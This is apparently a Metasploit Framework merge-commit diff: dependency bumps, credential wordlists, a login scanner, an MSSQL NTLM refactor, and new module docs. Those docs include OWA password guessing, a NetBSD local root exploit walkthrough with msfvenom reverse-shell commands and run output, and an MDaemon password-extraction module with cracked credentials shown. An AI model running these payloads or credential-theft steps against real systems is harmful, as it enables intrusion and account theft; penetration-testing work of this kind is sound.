merge branch 'master' into PR branch

make Travis happy
bug/bundler_fix
Justin Steven 2016-09-15 10:31:24 +10:00
commit 8a0c8b54fc
No known key found for this signature in database
GPG Key ID: F2B6D8D0DC2EBE82
141 changed files with 1926 additions and 19033 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.24)
metasploit-framework (4.12.26)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -34,16 +34,23 @@ PATH
recog
redcarpet
rex-arch
rex-bin_tools
rex-core
rex-java
rex-mime
rex-nop
rex-ole
rex-powershell
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket
rex-sslscan
rex-struct2
rex-text
rex-zip
robots
rubyntlm
rubyzip
sqlite3
sshkey
@ -84,7 +91,7 @@ GEM
arel (6.0.3)
arel-helpers (2.3.0)
activerecord (>= 3.1.0, < 6)
aruba (0.14.1)
aruba (0.14.2)
childprocess (~> 0.5.6)
contracts (~> 0.9)
cucumber (>= 1.3.19)
@ -94,7 +101,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.7.1)
capybara (2.8.1)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@ -230,9 +237,18 @@ GEM
redcarpet (3.3.4)
rex-arch (0.1.1)
rex-text
rex-bin_tools (0.1.0)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.2)
rex-java (0.1.2)
rex-mime (0.1.1)
rex-text
rex-nop (0.1.0)
rex-arch
rex-ole (0.1.2)
rex-text
rex-powershell (0.1.64)
@ -241,13 +257,22 @@ GEM
rex-random_identifier (0.1.0)
rex-text
rex-registry (0.1.0)
rex-rop_builder (0.1.0)
metasm
rex-core
rex-text
rex-socket (0.1.0)
rex-core
rex-sslscan (0.1.0)
rex-socket
rex-text
rex-struct2 (0.1.0)
rex-text (0.2.1)
rex-zip (0.1.0)
rex-text
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.5.2)
rspec-core (3.5.3)
rspec-support (~> 3.5.0)
rspec-expectations (3.5.0)
diff-lcs (>= 1.2.0, < 2.0)
@ -255,7 +280,7 @@ GEM
rspec-mocks (3.5.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.5.0)
rspec-rails (3.5.1)
rspec-rails (3.5.2)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
@ -311,4 +336,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.12.5
1.13.1

File diff suppressed because it is too large Load Diff

View File

@ -4722,3 +4722,4 @@ zxcvbn
zxcvbnm
zzzz
zzzzzz
vagrant

View File

@ -1212,3 +1212,4 @@ SQL
CMOSPWD
dadmin
wlcsystem
vagrant

View File

@ -16,3 +16,4 @@ xampp
wampp
ppmax2011
turnkey
vagrant

View File

@ -8,3 +8,4 @@ wampp xampp
newuser wampp
xampp-dav-unsecure ppmax2011
admin turnkey
vagrant vagrant

View File

@ -11,3 +11,4 @@ sys
wampp
newuser
xampp-dav-unsecure
vagrant

View File

@ -88393,3 +88393,4 @@ z
émigrés
épée
étude
vagrant

View File

@ -49,3 +49,4 @@ root dbps
root ibm
root monitor
root turnkey
root vagrant

View File

@ -4,3 +4,4 @@ role1
root
tomcat
s3cret
vagrant

View File

@ -6,3 +6,4 @@ ADMIN ADMIN
xampp xampp
tomcat s3cret
QCC QLogic66
admin vagrant

View File

@ -1005,3 +1005,4 @@ raspberry
arcsight
MargaretThatcheris110%SEXY
karaf
vagrant

View File

@ -109,3 +109,4 @@ www-data
xpdb
xpopr
zabbix
vagrant

View File

@ -0,0 +1,23 @@
This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/owa_ews_login```
2. Do: ```set RHOSTS [IP]```
3. Set TARGETURI if necessary.
4. Do: ```run```
## Sample Output
```
msf auxiliary(owa_ews_login) > run
[+] Found NTLM service at /ews/ for domain OWAMSF.
[+] OWA_EWS - Successful login: Administrator:monkey
[-] OWA_EWS - Failed login: root:
[-] OWA_EWS - Failed login: admin:
[-] OWA_EWS - Failed login: guest:
[-] OWA_EWS - Failed login: root:root
[-] OWA_EWS - Failed login: root:password
[-] OWA_EWS - Failed login: root:1234
```

View File

@ -0,0 +1,203 @@
## Vulnerable Application
NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso)
## Issues
Getting an initial shell that can write files correctly was difficult. The best I found was reverse_openssl.
Payloads that didn't work:
* cmd/unix/reverse - connected back, but couldn't write file.
```
[*] Started reverse TCP double handler on 172.16.152.1:4444
[*] Writing Payload to /tmp/zrWqhXpL
[*] Max line length is 131073
[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' </dev/null Failed: "gawk: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo '00fffe414243447f25250d0a'|xxd -p -r Failed: "xxd: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo -ne '\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a' Failed: "-ne \\x00\\xff\\xfe\\x41\\x42\\x43\\x44\\x7f\\x25\\x25\\x0d\\x0a\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
[*] Exploit completed, but no session was created.
```
* cmd/unix/reverse_awk - `awk: syntax error at source line 1`
* cmd/unix/reverse_bash - `./bsd.payload: 1: Syntax error: Bad fd number`
* cmd/unix/reverse_bash_telnet_ssl - `$ telnet: unknown option -- z`
* cmd/unix/reverse_ssl_double_telnet - `$ telnet: unknown option -- z`
* cmd/unix/reverse_lua - `lua: (command line):1: module 'socket' not found`
* netcat, node, perl, php, python, php, ruby, zsh - all not installed by default
* bsd/* didn't seem to work either, maybe its for freebsd?
Payloads that did work:
* cmd/unix/reverse_openssl
## Verification Steps
1. Start msfconsole
2. Get an initial shell
1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload
$ ./bsd.payload
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N] y
```
3. Do: `use exploit/unix/local/netbsd_mail_local`
4. Do: `set payload cmd/unix/reverse_openssl`
5. Do: `set lhost 172.16.152.1`
6. Do: `set verbose true`
7. Do: `set session 1`
8. Do: `exploit`
9. You should get a *root* shell.
## Options
**ATRUNPATH**
File location of atrun, defaults to `/usr/libexec/atrun`
**MAILDIR**
Location of mail folder, defaults to `/var/mail`
**WritableDir**
Location of a writable directory for our payload, defaults to `/tmp`
**ListenerTimeout**
Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding. Defaults to `603` seconds (10min, 3sec)
## Scenarios
Here is a run against a virgin install of `NetBSD 7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top)
In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default
1. Get an initial shell
1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload
$ ./bsd.payload
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N] y
```
2. Run the exploit
```
msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
msf exploit(netbsd_mail_local) > set lhost 172.16.152.1
lhost => 172.16.152.1
msf exploit(netbsd_mail_local) > set verbose true
verbose => true
msf exploit(netbsd_mail_local) > set session 1
session => 1
msf exploit(netbsd_mail_local) > exploit
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Writing Payload to /tmp/pjDkvmGg
[*] Max line length is 131073
[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf
[*] Writing exploit to /tmp/GHIKGOWX.c
[*] Max line length is 131073
[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf
[*] Compiling /tmp/GHIKGOWX.c via gcc
[*] Starting the payload handler...
[*] Executing at 2016-08-25 19:59:04 -0400. May take up to 10min for callback
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo X6C4UIDx4zmwM0DJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "X6C4UIDx4zmwM0DJ\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400
[*] 2016-08-25 20:00:02 -0400
[*] Remember to run: chown root:wheel /usr/libexec/atrun
[+] Deleted /tmp/pjDkvmGg
[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target
1633029467
TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY
true
JUqfyioWthnpvyxRJAZosSGQjnLHqPUB
sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr
nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx
whoami
root
```

View File

@ -0,0 +1,115 @@
## Vulnerable Application
Download and install the email server: [www.altn.com](http://www.altn.com/Downloads/MDaemon-Mail-Server-Free-Trial/)
You require a valid licence, but there's a demo for 30 days.
### Verified
1. AWS --> Microsoft Windows Server 2012 R2 Base - ami-8d0acfed Instance: t2.micro @ July-August 2016 x64 bits with meterpreter 64 bits.
2. AWS --> Microsoft Windows Server 2012 R2 Base - ami-8d0acfed Instance: t2.micro @ July-August 2016 x64 bits with meterpreter 32 bits. Worked, but couldn't find the path through Register.
3. VM --> Microsoft Windows 7 on VMWare.
## Verification Steps
1. Get a meterpreter on a windows machine that has MDaemon installed.
2. Load the module: `use post/windows/gather/credentials/mdaemon_cred_collector`
3. Set the correct session on the module.
1. Optional: you can add the remote path of the installation, especially if the software is installed on a strange path and the module can't find it..
4. Run the module and enjoy the loot.
## Example Run
**Normal mode**
```
msf > use post/windows/gather/credentials/mdaemon_cred_collector
msf > set SESSION 1
msf > exploit
```
Output:
```
[+] Configuration file found: C:\MDaemon\App\userlist.dat
[+] Found MDaemons on WIN-F7ANP3JL4GJ via session ID: 1
[*] Extracted: MDaemon:p0%AhBxvs4IZ
[*] Extracted: webmaster:Manuel123.
[*] SMTP credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.smtp_ser_754168.txt
[*] Extracted: webmaster:Manuel123.
[*] POP3 credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.pop3_ser_608271.txt
[*] Extracted: webmaster:Manuel123.
[*] IMAP credentials saved in: /root/.msf4/loot/20160831194802_default_127.0.0.1_MDaemon.imap_ser_769125.txt
[*] Post module execution completed
```
**Verbose true**
```
msf > use post/windows/gather/credentials/mdaemon_cred_collector
msf > set SESSION 1
msf > set verbose true
msf > exploit
```
Output:
```
[*] Searching MDaemon installation at C:
[*] Found MDaemon installation at C:
[*] Searching MDaemon installation at C:
[*] Found MDaemon installation at C:
[*] Searching MDaemon installation at C:\Program Files
[*] Searching MDaemon installation at C:\Program Files (x86)
[*] Searching MDaemon installation at C:\Program Files
[*] Checking for Userlist in MDaemons directory at: C:\MDaemon\App
[+] Configuration file found: C:\MDaemon\App\userlist.dat
[+] Found MDaemons on WIN-F7ANP3JL4GJ via session ID: 1
[*] Downloading UserList.dat file to tmp file: SFJOXMHZEFWA
[*] Cracking xJiKYdun7OvjVLnM
[*] Password p0%AhBxvs4IZ
[*] Cracking ocnTldjRpaejTg==
[*] Password Manuel123.
[*] Collected the following credentials:
[*] Usernames: 2
[*] Passwords: 2
[*] Deleting tmp file: SFJOXMHZEFWA
[*] Extracted: MDaemon:p0%AhBxvs4IZ
[*] Extracted: webmaster:Manuel123.
[*] SMTP credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.smtp_ser_114741.txt
[*] Extracted: webmaster:Manuel123.
[*] POP3 credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.pop3_ser_369240.txt
[*] Extracted: webmaster:Manuel123.
[*] IMAP credentials saved in: /root/.msf4/loot/20160831194819_default_127.0.0.1_MDaemon.imap_ser_028427.txt
[*] Post module execution completed
```
## Options
**RPATH**
The remote path of the MDaemon installation.
If the machine runs on 64bits and the meterpreter is 32 bits, it won't be able to find the installation path in the registry, but it will search some default paths. If it is installed on a non-default path you can give the RPATH and it will work.
## Scenarios
**Run on all sessions**
If you wish to run the post against all sessions from framework, here is how:
1. Create the following resource script:
```
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/credentials/mdaemon_cred_collector")
run_single("set SESSION #{sid}")
run_single("run")
end
```
2. At the msf prompt, execute the above resource script:
`msf > resource path-to-resource-script`
**Meterpreter on email server**
If you have a meterpreter running on a server that has MDaemon installed, run the module and you will get all the users and passwords of the email server. Quite useful for trying password reuse and/or checking the strength of the passwords.
Note: MDaemon can store the passwords on a database, in that case the module won't work, but you can search for the database location, username and password and still get them :)
## References
http://www.securityfocus.com/bid/4686
https://github.com/AgoraSecurity/MdaemonCrack

View File

@ -0,0 +1,64 @@
require 'metasploit/framework/login_scanner/http'
require 'json'
module Metasploit
module Framework
module LoginScanner
# Octopus Deploy login scanner
class OctopusDeploy < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = true
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
uri = '/api/users/login' if uri.nil?
method = 'POST' if method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
json_post_data = JSON.pretty_generate({ Username: credential.public, Password: credential.private })
cli = Rex::Proto::Http::Client.new(host, port, { 'Msf' => framework, 'MsfExploit' => framework_module }, ssl, ssl_version, http_username, http_password)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/json',
'data' => json_post_data
)
res = cli.send_recv(req)
body = JSON.parse(res.body)
if res && res.code == 200 && body.key?('IsActive') && body['IsActive']
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::JSON::ParserError
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -29,10 +29,10 @@ module Metasploit
def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1700
@wordpress_url_xmlrpc ||= 'xmlrpc.php'
@block_wait ||= 6
@base_uri ||= '/'
@chunk_size ||= 1700
end
# Returns the XML data that is used for the login.
@ -110,6 +110,8 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
set_default
@passwords ||= [credential.private]
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)

View File

@ -9,11 +9,6 @@ module Metasploit
extend ActiveSupport::Concern
include Metasploit::Framework::Tcp::Client
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
@ -21,23 +16,23 @@ module Metasploit
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
#
@ -55,14 +50,14 @@ module Metasploit
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
pkt_hdr = [
TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID (unused upon specification
0x01, # PacketID (unused upon specification
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
0x00 #Window
0x00 #Window
]
pkt << [
@ -85,18 +80,18 @@ module Metasploit
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
ntlm_options = {
:signing => false,
:usentlm2_session => use_ntlm2_session,
:use_ntlmv2 => use_ntlmv2,
:send_lm => send_lm,
:send_ntlm => send_ntlm
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
ntlm_client = ::Net::NTLM::Client.new(
user,
pass,
workstation: workstation_name,
domain: domain_name,
)
type1 = ntlm_client.init_context
# SQL 2012, at least, does not support KEY_EXCHANGE
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlmsspblob = type1.serialize
idx = pkt.size + 50 # lengths below
@ -137,9 +132,9 @@ module Metasploit
pkt << ntlmsspblob
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
pkt[0, 4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8
pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt
@ -147,64 +142,38 @@ module Metasploit
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt)
resp = proxy.send_recv(pkt, 15, false)
else
resp = mssql_send_recv(pkt)
resp = mssql_send_recv(pkt, 15, false)
end
# Get default data
begin
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
# a domain.length < 3 will hit this
rescue NTLM_XCEPT::NTLMMissingChallenge
return false
end
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
default_name = blob_data[:default_name] || ''
#netbios domain
default_domain = blob_data[:default_domain] || ''
#dns name
dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => send_spn, :name => rhost}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
domain_name, default_name, default_domain,
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
spnopt, ntlm_options)
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
# Strip the TDS header
resp = resp[3..-1]
type3 = ntlm_client.init_context([resp].pack('m'))
type3_blob = type3.serialize
# Create an SSPIMessage
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID
0x00 #Window
pkt_hdr = [
TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID
0x00 #Window
]
pkt_hdr[2] = ntlmssp.length + 8
pkt_hdr[2] = type3_blob.length + 8
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
if self.tdsencryption == true
resp = mssql_ssl_send_recv(pkt,proxy)
resp = mssql_ssl_send_recv(pkt, proxy)
proxy.cleanup
proxy = nil
else
@ -283,7 +252,7 @@ module Metasploit
pkt << dname
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
pkt[0, 4] = [pkt.length].pack('V')
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
@ -294,7 +263,7 @@ module Metasploit
if self.tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = mssql_ssl_send_recv(pkt,proxy)
resp = mssql_ssl_send_recv(pkt, proxy)
proxy.cleanup
proxy = nil
else
@ -304,7 +273,7 @@ module Metasploit
end
info = {:errors => []}
info = mssql_parse_reply(resp,info)
info = mssql_parse_reply(resp, info)
disconnect
@ -316,17 +285,17 @@ module Metasploit
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
type = buff.slice!(0,1).unpack('C')[0]
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0,1).unpack('C')[0] || 0
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0,1).unpack('C')[0] || 0
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
@ -337,7 +306,7 @@ module Metasploit
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0,4).unpack('N')[0]
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
@ -346,7 +315,7 @@ module Metasploit
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status,cmd,rows = data.slice!(0,8).unpack('vvV')
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
@ -355,11 +324,11 @@ module Metasploit
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
@ -370,14 +339,14 @@ module Metasploit
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos]||= []
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
@ -386,8 +355,8 @@ module Metasploit
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
@ -398,7 +367,7 @@ module Metasploit
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0,1).unpack('C')[0]
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
@ -434,14 +403,14 @@ module Metasploit
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0,2).unpack('v')[0]
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0,2).unpack('v')[0]
col[:flags] = data.slice!(0,2).unpack('v')[0]
col[:type] = data.slice!(0,1).unpack('C')[0]
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
@ -458,8 +427,8 @@ module Metasploit
when 34
col[:id] = :image
col[:max_size] = data.slice!(0,4).unpack('V')[0]
col[:value_length] = data.slice!(0,2).unpack('v')[0]
